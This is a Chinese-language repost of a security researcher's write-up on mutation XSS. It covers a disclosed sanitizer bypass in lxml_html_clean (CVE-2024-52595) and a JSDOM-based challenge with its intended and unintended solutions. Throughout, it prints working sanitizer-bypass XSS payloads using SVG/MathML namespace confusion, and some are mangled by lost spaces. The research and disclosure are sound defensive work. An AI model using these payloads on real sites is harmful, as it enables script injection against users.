Mutation XSS Explained, CVE and Challenge
解析 HTML 以移除不安全元素听起来很棒,直到你仔细查看 HTML 规范。其令人难以置信的复杂性使这成为一项艰巨的任务,这也被一个叫做 Mutation XSS 的领域所利用。本文将解释 Mutation XSS 的基本概念、现有的技巧以及如何发现绕过方法。文章还包含两个例子:一个是我在lxml_html_clean
库中发现的 CVE,另一个是结合并展示两个新技巧的高难度挑战。
什么是 Mutation XSS?
大多数跨站脚本 (XSS) 漏洞仅仅是因为忘记对本不应包含 HTML 的字段进行 HTML 转义。这类漏洞很少有过滤器,也很容易被利用。在某些情况下,字段应该允许_部分_ HTML 但不允许可能执行 JavaScript 的_危险_ HTML。这种情况经常出现在富文本编辑器中,它允许你创建可点击的链接,使用粗体、斜体和更多格式。通常,这种格式化在客户端以 HTML 形式完成,然后发送到服务器保存。
当然,服务器不能信任客户端没有修改 HTML 内容来包含<script>
标签,所以需要进行一些净化处理,只允许常规文本编辑器可能生成的标签,如<a>
或<strong>
。这项任务很棘手。
简而言之,Mutation XSS 就是滥用解析器。通过命名空间、解析模式和修复无效标签组合等复杂规则,净化器可能会被误导而与浏览器对字符串的解析方式不同。净化器可能认为是良性属性、样式内容或其他文本的部分,浏览器在不同上下文中会将其视为要执行的恶意 HTML。
让我们从一个简单的例子开始。Mutation XSS 总是依赖于净化器的解析器和浏览器的解析器之间的差异。净化器通常采取以下步骤:
-
将输入解析为 HTML -
遍历 DOM 树并移除遇到的任何不安全元素/属性 -
将树重新序列化为 HTML 字符串
净化器的解析器与浏览器的解析器不同的一种情况是放置 HTML 的上下文不同。某些标签有特殊的解析规则,净化器可能没有准备好处理这些规则。
例如,<title>
标签不包含 HTML 而是文本。其中的任何标签如<p>
都不会被视为标签,它只会在切换回常规 HTML 解析之前搜索结束标签</title>
。这意味着它甚至可以在属性内部找到这个结束标签,像这样:
<body><title><pid="</title><img src onerror=alert()>"></title>
整个字符串被解析为一个 title 标签,其中包含<p id="
作为文本,然后是一个<img>
标签,后面跟着">
作为文本。你可以看到语法高亮器甚至无法识别结束的 title 标签,错误地将其视为一个完整的属性。关键的是,净化器可能会看到相同的情况,特别是当它没有得到<title>
标签的_上下文_,而只有<p id="</title>...">
字符串时。净化器不知道有任何起始的 title 标签,所以这个属性确实是一个属性,并且按原样返回。当这个"安全的" HTML 像我们上面看到的那样被放在两个 title 标签之间时,它突然变得不安全了!
漏洞和特性
并不总是上下文使净化器与浏览器不同,也可能只是净化器解析器中的一个漏洞。想象一下,如果它错误地将所有<title>
内容解析为 HTML 而不是纯文本,那么上面的相同负载看起来就像一个良性的<p>
标签,只是带有一个有点非正统的属性,但这里没有看到不安全的标签,所以它再次按原样返回。
一些解析器也故意以不同于浏览器的方式解析 HTML 字符串,因此不完全适合用作净化器。例如,默认的`DOMParser`[1] API 在解析时_禁用了脚本_。这是什么意思?好吧,<noscript>
标签在这种情况下有特殊的效果。
<body><noscript><pid="</noscript><img src onerror=alert()>">
这个工具的输出显示了 DOMParser 看到的内容,只是一个带有某些属性的<p>
标签,看起来很安全所以按原样返回。但是如果你在浏览器中加载相同的 HTML,它会触发alert()
!这是怎么发生的?这归结于<noscript>
内容在脚本_禁用_时被解析为 HTML,而在脚本_启用_时被解析为文本(就像 title 标签一样)。DOMParser
API 禁用了脚本,但现今几乎所有浏览器都启用了脚本(JavaScript)。在浏览器中,这导致内容被解析为文本,它会寻找第一个关闭的</noscript>
字符串,即使对我们和净化器来说它看起来像一个属性值。
改变输出
HTML 解析对变化非常敏感。上下文中的一个微小变化就可能导致 XSS 攻击成功与否的差异。这可能是最常见的 Mutation XSS 形式,开发人员认为他们可以在将净化器的安全输出放入 DOM 之前安全地更改其中的某些内容。通过精心构造的输入,一个看似微小的变化可能会对字符串后续的解析方式产生严重影响。
想象一个应用程序在净化后对模板语法(如{{...}}
)进行过滤,代码如下:
html = DOMPurify.sanitize(html); html = html.replace(/{{.*?}}/g, "");
至关重要的是,这个模式中的.*
可能包含定义上下文的<
或"
字符,这些字符可能会随着精心构造的有效载荷而改变。这使我们能够再次让浏览器将原本安全的属性解释为 HTML:
{{<p id="}}<img src onerror=alert()>">
任何净化器都会将其视为一段{{
文本,然后是一个带有大型属性值的<p>
标签。但是当{{.*?}}
被移除后,它就变成了一个可工作的 XSS 攻击载荷:
<imgsrconerror=alert()>">
除了"标签内"、"文本内"或"属性内"等 HTML 上下文之外,还有一些针对标签的更具体的上下文,称为命名空间。HTML 中有 3 个不同的命名空间:HTML[2]、SVG[3] 和MathML[4]。HTML 字符串可以通过<svg>
或<math>
标签临时切换到其中任何一个。
在 Dom-Explorer 中,HTML 标签右侧的命名空间有蓝色(HTML)、绿色(SVG)或黄色(MathML)背景。
重要的是,这些命名空间又有不同的解析规则,我们可以利用这些规则。特别是 HTML 中像<style>
这样的文本解析标签在 SVG 或 MathML 中不被识别,因此它们会被视为任何其他标签,其内容会被解析为 HTML。然而,浏览器会将内容解析为文本(在 style 的情况下为 CSS)。
一个例子是当命名空间更改标签在净化后被更改时,比如英式拼写检查器将"math"改为"maths"。开头的<math>
标签将不再被浏览器识别,它将保持在 HTML 中。现在,像<style>
这样的标签将被读取为 CSS,但由于 MathML 不支持这个标签,净化器会将其读取为更多的 MathML 内容。这种差异允许你编写一个注释(<!-- ... -->
),净化器(在 MathML 中)不会将其视为危险,但当被浏览器更改和解析(在 CSS 中)时,可以在之前被视为注释内容中找到一个结束的</style>
标签,从而允许在其后打开一个恶意的<img>
标签:
<math><style><!--</style><imgsrconerror=alert()>-->
除了更改<svg>
或<math>
标签本身之外,在不同的命名空间内还有更多特殊的标签可以临时退出当前命名空间。例如,SVG 有<foreignObject>
和其他一些标签,而 MathML 有像<mtext>
这样的标签可以切换回 HTML。你可以在下面看到一个例子(注意命名空间的背景颜色):
<svg><math><foreignObject><a><math><svg><mtext><a>
如果这些标签中的任何一个在被净化后受到阻碍,同样也会产生可利用的命名空间差异。
不改变输出
还有一个有趣的事实是,HTML 在多次解析后可能会被不同地解析。解析 HTML 一次,序列化它,然后再次解析并不能保证你会收到与之前相同的解析内容!这个规范的特性即使在使用完美的解析器和净化器时也会导致各种问题。
我在意外解决方案[5]部分更详细地讨论了这一点。
听起来制作一个安全的 HTML 净化器相当困难,对吧?
方法论
总结一下,我们需要两个条件来实现 Mutation XSS。首先是需要一种方法来输出未经净化的任意文本,通常是在某些不会立即导致 XSS 的受限上下文中。输出应该在某处包含<img src onerror=alert()>
,可能是:
-
在属性中: <a id="<img src onerror=alert()>">
-
可能被某些序列化器 HTML 编码,甚至浏览器也在主动切换到这种方式(参考[6]) -
原始文本元素: <style><img src onerror=alert()>
-
被解析为 CSS 而不是 HTML,所以通常不会被 HTML 编码 -
根据规范,以下元素也应具有此属性: script
、xmp
、iframe
、noembed
、noframes
、plaintext
、noscript
(参考[7]) -
可转义的原始文本元素: <title><img src onerror=alert()>
-
通常应该被 HTML 编码使其无法利用,但可能存在漏洞 -
根据规范, <textarea>
元素也应具有此属性 -
注释: <!-- <img src onerror=alert()> -->
-
CDATA: <svg><!CDATA[[<img src onerror=alert()>]]>
-
根据规范应该被 HTML 编码,但可能存在漏洞 -
在 <math>
中也有效,可以巧妙地与命名空间混淆结合使用
其次,我们需要一种方法使上述注入的<img>
标签被解释为真正的 HTML。这是通过前面讨论的混淆来实现的,比如:
-
解析器中的漏洞 -
解析器中的功能使其与浏览器相比解析方式不同 -
解析后更改输出 -
重新解析
CVE-2024-52595:lxml_html_clean 绕过
在最近的一次渗透测试中,一个客户使用lxml_html_clean[8]库来净化 HTML,然后再将其保存到数据库中。这个库在某个时候从主要的lxml[9]仓库中分离出来,现在被更多的项目使用。在 GitHub 上通过搜索导入语句很容易找到所有使用这个库的项目:`lxml.html.clean`[10],在写作时显示大约有 2200 个结果。
因为我以前没有见过这个净化器,所以我开始研究它的安全性,希望找到一个绕过方法。正如我们所了解的,解析器对净化器的安全性至关重要,因为它可能根本看不到一些被浏览器不同解释的恶意 HTML。因此,我在净化器中首先关注的是所使用的解析器,在这种情况下是流行的lxml
库及其.html
导入(源代码[11])。这是一个相当知名的库,经常用于解析 XML,所以我没有期望在那里找到重大的解析器问题。
同时,我注意到净化器本身只是一个不太大的单一文件,可以完整阅读,所以我开始阅读源代码并跟踪一些被它净化的输入的调试器。虽然最明显的标签如<script>
和以on
开头的属性很快就被移除了,但style
标签似乎以一种相当奇怪的方式处理。(源代码[12])
ifnot self.style:
for el inlist(doc.iter('style')):
if el.get('type', '').lower().strip() == 'text/javascript':
el.drop_tree()
continue
old = el.text or''
new = _replace_css_javascript('', old)
new = _replace_css_import('', new)
if self._has_sneaky_javascript(new):
# Something tricky is going on...
el.text = '/* deleted */'
elif new != old:
el.text = new
由于某些原因,CSS 被使用_replace_css_javascript()
、_replace_css_import()
和_has_sneaky_javascript()
函数进行限制。虽然替换规则是简单的正则表达式,但_has_sneaky_javascript()
函数更为复杂,它首先对内容进行规范化处理,然后再检查一些危险的语法结构:
_replace_css_javascript = re.compile(r'expressions*(.*?)', re.S|re.I).sub
_replace_css_import = re.compile(r'@s*import', re.I).sub
_substitute_comments = re.compile(r'/*.*?*/', re.S).sub
_substitute_whitespace = re.compile(r'[sx00-x08x0Bx0Cx0E-x19]+').sub
_looks_like_tag_content = re.compile(r'</?[a-zA-Z]+|son[a-zA-Z]+s*=', re.ASCII).search
def_has_sneaky_javascript(self, style):
style = self._substitute_comments('', style)
style = style.replace('\', '')
style = _substitute_whitespace('', style)
style = style.lower()
if _has_javascript_scheme(style):
returnTrue
if'expression('in style:
returnTrue
if'@import'in style:
returnTrue
if'</noscript'in style:
returnTrue
if _looks_like_tag_content(style):
returnTrue
returnFalse
然后我想起来,在 Internet Explorer 7 及更早版本中,CSS 中有一个名为expression()
的函数,它会将其内容作为 JavaScript 执行。显然,这对 XSS 来说是一个危险因素,所以这个库必须对其进行净化处理。但如今 Internet Explorer 已经太过陈旧,以至于许多净化器甚至不再费心去防范这个攻击向量。
这让我开始思考,是否有可能绕过对expression()
的检查,至少能在这个古老的 IE7 版本上实现绕过?代码首先替换expressions*(.*?)
,然后用空字符串替换@s*import
,这应该已经阻止了函数调用。但如果不存在_has_sneaky_javascript()
函数,一个聪明的攻击者可以通过以下方式绕过这两个替换:
expr
对expression
的搜索不匹配,然后@import
搜索会匹配并将其替换为空,最终得到expression(alert(origin))
。但这个净化器的开发者可能知道这个风险,所以添加了第二步检查,检查替换后的结果是否还包含expression(
字符串。如果包含的话,我们的 payload 会导致整个 style 内容被完全删除。
在第二次检查之前,它通过执行 4 个步骤来规范化样式:
-
删除注释 ( /*...*/
) -
删除反斜杠 () -
删除空白字符 -
将字符串转换为小写
只有在这些步骤之后才会检查内容,返回True
(表示危险,删除所有内容) 或False
(表示安全,保留原始内容)。有趣的是,系统会检查规范化后的内容,如果看起来安全,就会使用规范化之前的内容。在规范化过程中会不会丢失一些重要信息呢?
在 IE7 中绕过 CSS expression() 检查
答案是肯定的!如果我们查看它检查的字符串,比如expression(
,'删除注释'步骤可能会包含这个语法,如果将其放在注释中就不会被发现。
from lxml_html_clean.lxml_html_clean import clean_html
print(clean_html('<style>/* expr@importession(alert(origin)) */'))
# <div><style>/* expression(alert(origin)) */</style></div>
当然,如果将表达式放在注释中,它就不会被执行。我们必须将 payload 放在/*
和*/
之间以隐藏它不被净化器发现,但仍然能被 CSS 解析器解析。幸运的是,我们可以将这个注释语法放在引号中作为字符串,这样 CSS 解析器就不会再识别它了!
<style>
* {
content: '/*';
xss: expr@importession(alert(origin));
content: '*/';
}
</style>
净化器会检查这个 style 标签的内容,并移除@import
语句,只留下expression(...)
。_has_sneaky_javascript()
中的第二次检查会检查除了/*...*/
之间的所有内容,从而漏掉了 payload。然后原始内容被返回,在 IE7 上形成了一个可以绕过净化器的有效 XSS。
使用命名空间实现完整绕过
虽然很有趣,但之前的绕过方法有点鸡肋,因为现在几乎没有用户会受到影响,因为 Internet Explorer 7 早在 2009 年就已经被取代了。我想为现代浏览器找到一个绕过方法,这很可能涉及到 Mutation XSS。
我们需要通过一些测试来评估这个解析器的性能。由于lxml.html
解析器没有漂亮的 Dom-Explorer 节点,我用一个简单的 Python 脚本做了一个最接近的替代方案:
from lxml.html import fromstring
defprint_elements(root, level=0):
"""Recursive function to print elements in a tree-like structure."""
print(" " * level + root.tag,
" ".join(f"{k}={v!r}"for k, v in root.attrib.items()),
f"(text: {root.text!r})"if root.text else"")
for element in root:
print_elements(element, level + 1)
root = fromstring('''
<div>
<div class=inner></div>
<style><a></style>
</div>
''')
print_elements(root)
输出显示它正确地解析了嵌套标签,并按预期将"<a>"
设置为<style>
标签的内容。
div (text: 'n ')
div class='inner'
style (text: '<a>')
我们可以通过将<style>
标签放入<svg>
或<math>
中来轻松测试它是否支持命名空间。由于 SVG 和 MathML 不支持 style 标签,因此该标签应该被视为任何其他标签一样,并允许包含子元素。
<svg><style><a>
svg
style (text: '<a>n')
有趣的是!尽管<style>
标签位于 SVG 内部,它仍然被解析为 CSS 并按原样输出。这意味着它不会净化我们放入其中的任何标签,但浏览器会在 SVG 内部读取它们。像下面这样的 payload 应该可以工作:
<svg><style><imgsrconerror=alert()>
不幸的是,这并不能完全奏效,它会变成:
<svg><style>/* deleted */</style></svg>
这是因为在_has_sneaky_javascript()
函数内部还有另一个检查,它会通过以下正则表达式来检查内容是否"看起来像标签内容":
</?[a-zA-Z]+|son[a-zA-Z]+s*=
这个正则表达式匹配了我们放入内容中试图原样输出的<img>
标签。当匹配到时,整个 style 内容会被替换为/* deleted */
。幸运的是,在前面的章节中,我们发现了一种通过滥用/*...*/
规范化来绕过这个函数的方法。这些注释之间的任何内容都会被检查忽略,而且因为我们正在编写 HTML,所以我们的输入在 CSS 注释中并不重要,因为它并不解析 CSS。因此,我们的最终 payload可以变成:
<svg><style>/*<imgsrconerror=alert(origin)>*/
净化器认为<style>
标签开始了 CSS,它会跳过/*
和*/
之间的所有内容并完整输出,如下所示:
<svg><style>/*<imgsrconerror=alert(origin)>*/</style></svg>
由于<style>
标签嵌套在<svg>
内部,它会被视为任何其他标签并继续解析为 HTML,直到遇到另一个恶意的<img>
标签,该标签会执行 JavaScript,从而导致 XSS 攻击,实现了对默认设置下的净化器的完全绕过!
由于 MathML 也不支持 style 标签,在该上下文中使用相同的 payload 同样有效:
<math><style>/*<imgsrconerror=alert(origin)>*/
除了命名空间混淆之外,我后来还发现<noscript>
标签的解析也存在问题。就像禁用脚本的 DOMParser 一样,它将内容解析为 HTML,而浏览器则将其读取为文本。这使我们能够再次编写一个 style 标签,该标签会被净化器解析为 CSS,但会被浏览器忽略:
<noscript><style>/*</noscript><imgsrconerror=alert(origin)>*/
问题的根源在于lxml.html
不支持 SVG 或 MathML 等不同的命名空间,这也情有可原,因为要完美实现这一点确实非常棘手。相反,它将所有内容都解析为 HTML,清理器必须处理这种情况。在报告此问题后,它被分配了 CVE-2024-52595 编号,相关的安全公告和修复方案可以在这里查看:
https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-5jfw-gq64-q45f[13]
我的挑战
在阅读安全社区关于 Mutation XSS 的一些精彩文章时,我一直在自己尝试这些技巧。通过阅读净化器绕过和奇特的 HTML 特性,我开始很好地理解这个概念,并能使用像Dom-Explorer[14]这样的优秀工具找到自己的攻击向量。
在此过程中,我最终发现了一个有趣的想法,我认为值得分享,同时也可以作为一个挑战。在开发这个挑战的过程中,我偶然发现了 JSDOM 上的一个开放问题,这个问题听起来很有趣,是对这个挑战的完美补充。
在Twitter[15]和Bluesky[16]上,我发布了以下源代码:
这段代码使用了一个众所周知且最新的解析器,只移除了一些危险标签和所有属性。不知何故,这个过滤器可以被绕过以实现跨站脚本攻击。
解决方案
我们将从我想出的最初技巧开始,逐步构建最终解决方案。在阅读 Simon Pieters 的["HTML 解析器的特性"](https://htmlparser.info/parser/#the-foreign-lands-svg-and-mathml ""HTML 解析器的特性"")时,我看到了以下要点:
HTML(或嵌套的 SVG/MathML)可以在某些集成点使用 SVG 和 MathML:
SVG 的 foreignObject
、desc
、title
。MathML 的 mi
、mo
、mn
、ms
、mtext
、annotation-xml
(如果它有encoding="text/html"
或encoding="application/xhtml+xml"
属性)。
特别是最后一个,带有特殊encoding=
属性的annotation-xml
引起了我的兴趣。这是我第一次看到属性的存在会影响解析。许多净化器在解析后执行的一个操作是移除不允许的属性。这可能会在净化器看到的内容(HTML)和浏览器的解析方式(仍然是 MathML)之间造成差异。这能被利用吗?
是的!使用像<style>
这样在 HTML 中被解析为文本但在 SVG 中被解析为 XML 的标签,我们可以隐藏恶意的<img>
标签,直到属性被移除,解析方式发生改变:
<math><annotation-xmlencoding="text/html"><style><imgsrconerror=alert(origin)>
这个技巧已经可以绕过以下净化器:
import { JSDOM } from'jsdom';
functionsanitize(html) {
const dom = newJSDOM(html);
// Remove script tags
const scriptTags = dom.window.document.querySelectorAll('script');
scriptTags.forEach(tag => tag.remove());
// Remove all attributes
const allTags = dom.window.document.querySelectorAll('*');
allTags.forEach(tag => {
const attributes = Array.from(tag.attributes);
attributes.forEach(attr => tag.removeAttribute(attr.name));
});
return dom.window.document.body.innerHTML;
}
除了<style>
标签外,还有一些类似的标签也会将其内容作为未编码的文本返回:iframe
、xmp
、noembed
、noframes
、plaintext
。
另外还有两个标签在解析内容时也会将其作为文本处理,但在序列化时会对内容进行 HTML 编码:title
和textarea
。
虽然上述挑战很有趣,但我想为其添加另一个技巧,所以我禁用了这些能直接返回原始内容的特殊标签。我认为一定还有其他方法可以利用注释、CDATA、任何 HTML 编码的标签或其他方式来实现攻击。毕竟我们已经有了命名空间混淆的问题。
我们最终需要在输出中某处写入字符串<img src onerror=alert(origin)>
,并利用混淆使其在浏览器中执行。在没有<style>
这样的标签的情况下,我能想到的唯一方法就是通过属性(但这些都被完全移除了)或注释(在我最初的规则下仍然允许)。
在尝试了许多关于注释和 CDATA 的方法后,我发现这些都无法奏效,因为它们总是会被序列化为标准化的形式,这对解决混淆问题没有帮助。
在查找 JSDOM 的潜在未解决问题时,我偶然发现了一个标题为["无法移除'is'属性"](https://github.com/jsdom/jsdom/issues/3265 ""无法移除'is'属性"")的问题。起初我认为这一定是一个_用户错误_,但在仔细查看评论后,这确实表现出了一些奇怪的行为:
JSDOM 15.x.x 版本的结果
<section id="personal-info" class="screen">vvv</section>
jsdom@16~18 版本的结果
<section id="personal-info" is="personal-info" class="screen">vvv</section>
正如回复中所解释的,这是 jsdom 为了与 Web 标准保持一致而做出的有意更改。
jsdom 16.2.0 添加了对自定义元素的(正确)支持,根据最新的 Web 标准,
is=
属性在元素创建后是无法被移除的。
经过测试,我确实可以确认is=
属性被保留了!
sanitize(`
<divid="set with id"></div>
<divis="set with is"></div>
<divis="<img src onerror=alert(origin)>"></div>
`)
// <div></div>
// <divis="set with is"></div>
// <divis="<img src onerror=alert(origin)>"></div>
这使我们能够将通常不允许的有效载荷输出到结果中,剩下的就是利用命名空间混淆使其被解析为真实的标签。我们可以开始理论化这种情况如何在两个不同的命名空间中发生。使用<title>
或<textarea>
标签可以使 HTML 切换到文本解析器,但在 SVG 中相同的标签只会继续解析为 XML。请看以下示例:
所以上述示例在 SVG 中是安全的,但在 HTML 中是危险的。通过前面描述的<annotation-xml>
技巧,我们可以使净化器解析 HTML,而浏览器解析 MathML。这些还不完全对齐。我们需要在命名空间之间周旋,使它们按照我们想要的方式分离。
如果我们能够在将浏览器切换到 HTML 的同时将净化器切换到 SVG,我们就可以利用上述技巧进行攻击。幸运的是,还有更多的"集成点"可以从一个命名空间切换到另一个。你已经知道的一个是<svg>
,在 HTML 中,它会将命名空间切换到 SVG。如果我们使用这个,净化器会从 HTML 切换到 SVG,而浏览器会保持在 MathML 中,因为<svg>
在该上下文中并不特殊。
注意:由于某些原因,
<svg>
之前的<x>
是必需的,否则它会被 MathML 视为真实的 SVG 标签
这解决了一个要求,还有一个要求,就是在保持净化器在 SVG 中的同时将浏览器从 MathML 切换到 HTML。但这两个命名空间之间有什么区别呢?在 MathML 中有像<mtext>
这样的标签可以切换到 HTML,但在 SVG 中并不特殊。这是拼图的最后一块,因为现在我们的净化器在 SVG 命名空间中(安全),而浏览器在 HTML 命名空间中(危险)。
我们将在最后添加<textarea><a is="</textarea>...">
payload 来利用这种混淆并注入恶意的<img>
标签:
这是绕过净化器的最终 payload。我们可以通过原始挑战的源代码来测试它:
console.log(sanitize(`
<math><annotation-xmlencoding="text/html"><x><svg><mtext><textarea><ais="</textarea><img src onerror=alert(origin)>">
`))
// <math><annotation-xml><x><svg><mtext><textarea><ais="</textarea><img src onerror=alert(origin)>">
// </a></textarea></mtext></svg></x></annotation-xml></math>
在浏览器中渲染时,它成功触发了 XSS:
https://mxss-chall.jorianwoltjer.com/?html=%3Cmath%3E%3Cannotation-xml%20encoding=%22text/html%22%3E%3Cx%3E%3Csvg%3E%3Cmtext%3E%3Ctextarea%3E%3Ca%20is=%22%3C/textarea%3E%3Cimg%20src%20onerror=alert(origin)%3E%22%3E
意外解法
为了避免意外解法,我将输入长度限制在 1000 字节,这应该可以防止最近几个月一直困扰 DOMPurify 的深度嵌套 payload(了解更多[17])。同时也移除了注释,因为虽然我没能让它生效,但我预计它仍可能被滥用。
不幸的是,这些措施仍然不够,因为@zakaria_ounissi[18]在我发布挑战的第二天就找到了一个意外解法。虽然他们使用了相同的is=
属性技巧,但他们混淆命名空间的方式不同且更传统。以下是他们的 payload:
<form><math><mtext></form><form><mglyph><svg><mtext><title><pathis="</title><img src onerror=alert(origin)>">
这个 payload 利用了 HTML 的一个有趣特性,即序列化和反序列化(解析)的输出可能与输入不同。这是非常反直觉的,因为:想象一下,如果你有一些数据序列化为 JSON,然后再解析回对象,如果对象突然变得与你输入的不一样,那将是很疯狂的事情。而这正是在 HTML 中发生的情况。
以下是 payload 的核心部分:
<form><math><mtext></form><form><mglyph>
嵌套的<form>
标签与其中的 MathML 导致第一个序列化器输出两个嵌套的<form>
标签,这在正常情况下应该是不可能的。因此,下一轮解析发现在已经存在 form 的情况下不允许内部 form,于是忽略了它。<mglyph>
标签似乎只有在作为<mtext>
标签的直接子元素时才会被识别为 MathML。
这导致第一轮解析(在净化器中)看到<mtext>
和<mglyph>
之间的 form,没有将其识别为 MathML,而是选择了普通的 HTML。
在序列化和重新解析(在浏览器中)之后,form 消失了,而<mglyph>
突然被识别为 MathML,造成了命名空间混淆。
他们使用了与我在预期解决方案中完全相同的方式来利用它,通过打开一个<svg>
标签将 HTML 切换到 SVG,但保持 MathML 不变。然后使用<mtext>
将 MathML 切换到 HTML,并保持 SVG 不变。现在净化器处于 SVG 命名空间,而浏览器处于 HTML 命名空间。
<form><math><mtext></form><form><mglyph><svg><mtext><x>
最后,这使他们能够打开一个在 HTML 中特殊的标签(如<title>
),而在 SVG 中则被视为任何其他标签。这些内容会被净化器解析为更多的 SVG 内容(XML),而浏览器在 HTML 中则在寻找结束标签</title>
字符串。他们像我的预期解决方案一样将其放在is=
属性中以确保它被保留,而且由于浏览器正在解析文本而不是 HTML,它识别出结束标签并打开恶意的<img>
。
对于这个双重解析的意外解决方案,我后来发布了一个修补版本[19],直到本文撰写时都没有被攻破。
结论
变异是一个引人入胜的概念,似乎有无限的深度(双关语)。有了这些技术,即使是"优秀的"净化器也可能因为过度信任其解析器而失效。我希望你觉得这整个探索之旅和我一样有趣,并且学到了一些新东西。现在,去破解一些净化器吧!
参考资料
DOMParser
:https://developer.mozilla.org/en-US/docs/Web/API/DOMParser
HTML:https://html.spec.whatwg.org/
[3]SVG:https://www.w3.org/TR/SVG2/
[4]MathML:https://www.w3.org/TR/MathML3/
[5]意外解决方案:https://jorianwoltjer.com/blog/p/hacking/mutation-xss#unintended-solution
[6]参考:https://github.com/whatwg/html/issues/6235
[7]参考:https://html.spec.whatwg.org/#serialising-html-fragments
[8]lxml_html_clean:https://github.com/fedora-python/lxml_html_clean
[9]lxml:https://github.com/lxml/lxml/blob/master/src/lxml/html/clean.py
[10]lxml.html.clean
:https://github.com/search?q=lxml.html.clean+language%3APython&type=code&l=Python
源代码:https://github.com/fedora-python/lxml_html_clean/blob/0.3.1/lxml_html_clean/clean.py#L605
[12]源代码:https://github.com/fedora-python/lxml_html_clean/blob/0.3.1/lxml_html_clean/clean.py#L358-L371
[13]https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-5jfw-gq64-q45f:https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-5jfw-gq64-q45f
[14]Dom-Explorer:https://yeswehack.github.io/Dom-Explorer/dom-explorer/
[15]Twitter:https://x.com/J0R1AN/status/1858923940896223432
[16]Bluesky:https://bsky.app/profile/jorianwoltjer.com/post/3lbex7qhqvk2s
[17]了解更多:https://mizu.re/post/exploring-the-dompurify-library-bypasses-and-fixes
[18]@zakaria_ounissi:https://x.com/zakaria_ounissi
[19]修补版本:https://gist.github.com/JorianWoltjer/75ea5431298ad5e7502c7e4af60ed67f
原文始发于微信公众号(securitainment):Mutation XSS 详解、CVE 和挑战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论